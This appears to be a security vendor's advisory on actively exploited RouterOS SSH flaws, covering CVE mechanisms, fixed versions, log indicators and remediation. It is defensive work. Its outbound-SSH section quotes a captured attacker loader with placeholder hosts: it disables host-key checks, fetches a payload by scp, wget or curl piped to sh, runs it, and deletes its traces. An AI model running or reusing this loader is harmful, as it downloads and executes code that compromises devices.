MikroTrick:
RouterOS SSH flaws are under active attack

The SSH flaws in the disclosure

CVE-2026-67276 affects RouterOS SSH public-key authentication. An RSA public key includes a modulus and an exponent. The affected code matched the key type and modulus against an authorized key but omitted the exponent, then used the client-supplied key to verify the signature. A client could pass that check without the legitimate private key. The standalone flaw requires the targeted username and an authorized RSA public modulus; it yields that account's privileges. CERT Polska's technical advisory documents the mechanism.

The disclosure also includes CVE-2026-86060, which mishandles a crafted SSH username and permits manipulation of the RouterOS policy mask once an unauthenticated SSH session reaches the login helper. Separately, CERT Polska confirms that MikroTrick combines two vulnerabilities for unauthenticated administrative takeover. Its public warning does not identify which two CVEs form that chain.

For an administrator, the consequence is control over the device that carries traffic and enforces network policy. Review the routes, firewall rules, DNS settings, and remote-access configuration that an unauthorized administrator could change. If the router connects a plant, utility site, or other operational network, include the affected network owner in that review.

The fixes are already available

MikroTik's September 3 bulletin lists fixes across the update channels. CERT Polska confirms that the patched versions prevent the attacks it observed. Treat the versions below as the listed fix boundaries, then select the current supported release appropriate to your device and channel.

Swipe or scroll horizontally to see all table columns.

For the 7.x long-term branch, use 7.23.5 rather than stopping at 7.23.4. MikroTik released 7.23.5 on September 4 to fix an IPv6 DHCP regression introduced in the first security release. The security fix boundary remains 7.23.4.

The beta fix is listed for systems already following that channel; it is not a recommendation to move production routers onto beta software. Sources: CERT version ranges and MikroTik's bulletin.

As of our September 6 check, neither lead CVE appears in CISA's KEV catalog. The exploitation report is sufficient reason to prioritize exposed affected routers; a catalog entry is not a prerequisite for taking action.

The disclosure also covers bandwidth-test, TLS certificate verification, WebFig file reads, and an SSH rekey workflow that permits unauthenticated operations in the managed file namespace. Limiting SSH addresses one exposed service, not the entire disclosure. Keep the broader service restrictions in the CERT recommendations in scope until the update is complete.

Separate an attempt from a configuration change

Start with the distinctive log patterns, then establish what followed. CERT Polska reported these RouterOS entries and an unexpected, highly privileged account named ops in the activity it investigated.

Swipe or scroll horizontally to see all table columns.

CERT Polska associates 82.192.72.4 with successful observed attacks, including ops creation, and 103.102.31.18 with attempts.

The updated RouterOS checks for selected suspicious configuration artifacts at startup. Review its critical logs and /system/device-mode/print, then check configuration even when the device is not flagged. The Flagged mechanism is a useful inspection aid, not a complete incident assessment.

Why outbound SSH belongs in the review

SSH deserves attention in both directions. Restrict who can reach the management service, and review connections the appliance initiates. In a separate August 15 to 19 study, our edge decoy emulating a FortiGate recorded three SSH sessions from one source that submitted a Linux loader.

echo '<PRIVATE-KEY-CONTENT>' > <keyfile>

echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > <ssh-config>

chmod 400 <keyfile>

scp -F <ssh-config> -i <keyfile> <user>@<host>:<remote-payload> <payload>

if [ $? -eq 0 ]

then chmod +x <payload>

sh <payload> ssh >/dev/null 2>&1

else (wget --no-check-certificate -qO- https://<host>/<download-path>

curl -sk https://<host>/<download-path>) | sh -s ssh

fi

rm -rf <ssh-config> <keyfile> <payload>

The same loader sequence also reached our Lantronix, Cisco SD-WAN, UPS, and building-management decoys. Across five emulated management interfaces, 24 SSH sessions contained the same 16 captured input fragments in the same order. For defenders, that puts SSH exposure on operational management systems in the same review as the network edge.

The file-retrieval instructions explain why web-only monitoring leaves a gap. Baseline approved outbound administration and backup jobs, then investigate unexpected SSH destinations. Retain session activity and the appliance's native audit records, so a login event can be connected to what followed.

Give the configuration review an owner

The change ticket should capture both the installed fixed build and the outcome of the security review. For remote sites, confirm a recovery path before the maintenance window; avoid turning a security update into an unplanned loss of management access.

• Reduce reachability. Check the configured SSH port and the installed firewall policy for untrusted IPv4 and IPv6 access; an enabled service is not necessarily internet-accessible. Disable unnecessary services or restrict them to trusted management networks. While awaiting the patch, CERT also advises avoiding outbound TLS and the built-in SSH clients on an unpatched device, particularly across untrusted paths.
• Install the appropriate fixed release. Prioritize publicly reachable SSH. Record the resulting version rather than closing the ticket on an update request alone.
• Review access and changes. Reconcile users, permissions, scripts, scheduled jobs, proxies, and tunnels with the approved configuration. Check the reported log patterns and the Flagged state.
• Preserve evidence if compromise is suspected. Isolate the device as appropriate, secure logs and configuration before resetting it, and follow the responsible CSIRT's handling guidance. CERT's export guide (in Polish) covers the collection steps. Do not clear the Flagged state first.
• Rebuild from a trusted configuration when warranted. Follow CERT and vendor recovery guidance, rotate affected passwords, keys, and other secrets, and verify restored access. A full backup from a potentially compromised router may contain the changes you are trying to remove.

A decoy can complement this work by recording access attempts and subsequent interaction on a monitored management service. Place it where the activity is relevant, route its alerts to someone who can investigate, and correlate its telemetry with production login and change records.